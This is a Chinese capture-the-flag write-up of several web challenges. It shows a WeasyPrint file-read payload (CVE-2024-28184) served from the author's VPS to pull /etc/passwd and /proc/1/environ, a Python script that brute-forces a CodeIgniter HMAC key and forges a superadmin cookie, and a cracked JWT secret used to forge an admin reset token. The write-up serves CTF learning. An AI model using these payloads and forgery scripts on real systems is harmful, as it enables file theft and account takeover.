真亦假,假亦真
dirsearch扫描到flag,直接访问即可得到
CSDN_To_PDF V1.2
网页如下:
这题是python环境,并且源代码也没有提供出来,只能黑盒测试了,一开始我尝试了如下url
http://127.0.0.1
http://localhost
http://vbsip:8989
它都会显示无效的url,说明url应该是设置了白名单,我们必须要带有一个关键字才能满足条件
下面我们尝试找一个csdn博客,这里我就用自己的博客链接做测试了
https://blog.csdn.net/weixin_45906533/article/details/136620302?spm=1001.2014.3001.5501
发现可以转成功
那也就是说,关键字就是在csdn博客的链接里,经过测试,发现似乎只要带有blog.csdn.net关键字就可以构成有效的url
下面我们拿vps测试一下
构成有效的url了,并且我们可以发现它使用了WeasyPrint模块,这个模块不知道是做什么的,百度一下看看
可以将html文档转成pdf文件,但是不知道是啥漏洞,搜了一下漏洞库发现 CVE-2024-28184
可以将本地也就是靶机场景里任意文件内容附加到生成的pdf文档中
那么下面我们就可以通过html的link标签进行本地文件的读取
先创建一个目录名为blog.csdn.net
然后在目录下构造如下html页面123.html
<html>
<head>
<title>ceshi</title>
</head>
<body>
<link rel="alternate" href="file///app/app.py">
</body>
</html>
链接为:
http://60.204.170.160:8989/blog.csdn.net/123.html
但是发现,报错了
Error generating PDF
我们看一下vps里面的报错内容
html后缀没了,应该是被替换了,我们使用双写绕过
链接为:
http://60.204.170.160:8989/blog.csdn.net/123.hthtmlml
并且要注意
python3 -m http.server 8989
python在开启http服务的时候,一定要blog.csdn.net上一级目录下开启
但是发现似乎有点问题,下载的pdf居然还是上一个请求我的博客的页面
应该是html页面出现了问题,然后我尝试搜索了一下WeayPrint漏洞复现,发现youtube上面的有个博主复现过这个漏洞
https://www.youtube.com/watch?v=t5fB6OZsR6c
<link rel=attachment href="file:///etc/passwd">
我们修改html文件接着尝试
下载的页面是空白的,rel=attachment,/etc/passwd是以附件的形式附注在pdf文件里的,所以我们使用binwalk分离,或者foremost
成功读取了,那我们尝试读取flag文件
<link rel=attachment href="file:///flag">
居然没有,那就读取一下环境变量文件
/proc/self/environ
发现这个也不行,换成/proc/1/environ才可以
源代码如下:
from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import os
app = Flask(__name__)
URL_REGEX = re.compile(
r'http(s)?://' # http or https
r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)
def is_valid_url(url):
if not URL_REGEX.match(url):
return False
if "blog.csdn.net" not in url:
return False
return True
@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():
if request.method == 'POST':
url = request.form.get('url')
# 当我不知道weasyprint会解析恶意 <link attachment=xxx>?
url = url.replace("html", "")
if is_valid_url(url):
try:
html = HTML(url=url)
pdf = html.write_pdf()
response = make_response(pdf)
response.headers['Content-Type'] = 'application/pdf'
response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'
return response
except Exception as e:
return f'Error generating PDF', 500
else:
return f'Invalid URL! Target web address: ' + url
else:
return render_template("index.html"), 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
baby-Codeigniter
访问网页是一个登陆页面
直接admin/123456就可以登陆进去了
进去以后是一个文件上传页面,并且此页面是php编写的,我们尝试上传文件
返回
You are not a super administrator!!!
我们不是administrator
意思就是说我们需要是administrator用户才可以上传文件
抓包看看请求cookie
url解码看到会更清晰
a:9:{s:10:"session_id";s:32:"404cc8bf208cf3bc12f73f6ffb7abb66";s:10:"ip_address";s:12:"36.7.107.206";s:10:"user_agent";s:111:"Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/123.0.0.0+Safari/537.36";s:13:"last_activity";i:1712294067;s:9:"user_data";s:0:"";s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:12:"is_logged_in";b:1;s:10:"superadmin";b:0;}1d40a26e4ae5e00c2176092597e6e1327d568ff8
我们去上传文件的页面,抓包然后修改一下关键字
"superadmin";b:0;
改成
"superadmin";b:1;
但是似乎不行,会跳转会登陆页面,那我们就根据cookie的关键字去搜索一下是什么框架下的cookie认证机制
https://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/
通过分析,可以了解到,也就是将序列化数据+密钥,进行md5或sha1、sha256加密cookie,防止篡改
注意这题的hash值是40位的,是sha1hash加密的
import hashlib
import hmac
import time
from urllib import parse
def cracksecret(cookie,password):
length=len(cookie)-40
hashstr=cookie[length:]
ser_cookie=cookie[:length]
print(password)
hmacstr=hmac.new(password.encode('utf-8'),ser_cookie.encode('utf-8'),hashlib.sha1).hexdigest()
return hmacstr==hashstr
def Encrypt(cookie,password):
length=len(cookie)-40
cookie_=cookie[:length].replace('"superadmin";b:0','"superadmin";b:1')
hmacstr=hmac.new(password.encode('utf-8'),cookie_.encode('utf-8'),hashlib.sha1).hexdigest()
return parse.quote_plus(cookie_+hmacstr)
if __name__=='__main__':
cookie="a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2250943f22cb9e29777454f6dd967a305f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%2236.7.107.206%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1712298631%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A0%3B%7D2bb5a3bf91c1f11554573cb226b93e6fa1ae81c0"
with open('./password.txt',encoding='utf-8') as f:
passwords=f.readlines()
print("[+]Starting decoding...")
for password in passwords:
password=password.strip("\n")#记得要把回车去掉,,,
result=cracksecret(parse.unquote_plus(cookie), password)
if result==True:
print("[+]Success!: "+password)
encryptcookie=Encrypt(parse.unquote_plus(cookie), password)
print(encryptcookie)
exit(0)
else:
print("[-]Testing: "+password)
# import itertools
# strs = "1234567890"
# temp = itertools.permutations(strs,6)
# file = open('password.txt','a')
# for i in temp:
# file.write("".join(i)+"\n")
# file.close()
得到如下数据
[+]Starting decoding...
123456
[+]Success!: 123456
a%3A9%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2250943f22cb9e29777454f6dd967a305f%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A12%3A%2236.7.107.206%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A111%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F123.0.0.0+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1712298631%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A12%3A%22is_logged_in%22%3Bb%3A1%3Bs%3A10%3A%22superadmin%22%3Bb%3A1%3B%7Dce1af813c0fb4f1a497ec5adf9f27044d84a1ad4
然后替换cookie上传文件即可
后面直接执行命令查看flag内容即可
如果是md5加密可以使用下面的工具进行暴力破解
https://github.com/p0dalirius/CodeIgniter-session-unsign/tree/main
组合拳!
访问网页
可以进行登陆,注册用户,我使用自己的邮箱进行注册,然后登陆
会显示权限过低,但是目前没有发现有cookie值的存在,应该是判断了只能admin用户登陆,我们再去看看忘记密码页面
输入自己的邮箱进行发送,然后就会将密码重置的邮件发送qq邮箱里,并且带有jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieXVzaGFveXNAcXEuY29tIiwiZW1haWwiOiJ5dXNoYW95c0BxcS5jb20iLCJ0eXBlIjozfQ.YdybtKSIIAogkXk2WmyEZM57Il6CQ3NyUJsXaLwwrV4
看着很短,使用jwt爆破工具爆破一下
┌──(root㉿Ten)-[~/tools/c-jwt-cracker]
└─# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoieXVzaGFveXNAcXEuY29tIiwiZW1haWwiOiJ5dXNoYW95c0BxcS5jb20iLCJ0eXBlIjozfQ.YdybtKSIIAogkXk2WmyEZM57Il6CQ3NyUJsXaLwwrV4
Secret is "4tOQ"
得到了密钥,我们到jwt.io网站看看
那我们直接篡改成Administrator@163.com
然后通过上面qq邮箱里面的链接,我们直接修改成篡改后的jwt值,然后访问
http://node6.anna.nssctf.cn:28328/#/reset_token?email=Administrator@163.com&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiQWRtaW5pc3RyYXRvckAxNjMuY29tIiwiZW1haWwiOiJBZG1pbmlzdHJhdG9yQDE2My5jb20iLCJ0eXBlIjozfQ.68Q8kJk7YDW5lWjwrOW6Ez7iWg85hd2MaDbuYV_U_tk
但是重置完显示token错误
可能是用户名的问题,我们修改成admin再次尝试
这样就可以修改成功了,然后我们使用修改后的密码进行登陆
使用admin/123456进行登陆
在资源下载里面我们可以发现,可以更新任务内容,执行python代码
但是这个任务时间,我们无法掌控,固定死就是86400秒
所以我们就要想办法能不能绕过这个时间限制了,首先我们去抓包看看,每次更新任务都做了什么操作
都会去访问/server/getKey路由,然后返回一个keycode
我们去搜索一下js文件里面的keycode
搜索出来一共七个内容
case 8:
if (o = r.keycode,
o || "string" === typeof o) {
t.next = 11;
break
}
return t.abrupt("return", !1);
case 11:
for (c = [],
l = 0; l < n.length; l++)
u = 2 * l % o.length,
d = parseInt(o.slice(u, u + 2), 16),
c.push(n[l].charCodeAt() ^ d);
return f = e.from(c),
t.abrupt("return", f.toString("base64"));
通过这段代码,我们可以看得出,当keycode为string类型的时候,会跳转到11,然后进行一定的处理返回一串base64数据
我们现在这里打一个断点,这里可以去篡改n的值
然后点击更新任务后,就会停在这里,我们只要将base64通过控制台输入进去,然后修改一下时间就行了
来到控制台
然后回到source页面,点击
在调试的过程中就可以发现值已经被篡改了,并且我们会获得一个shell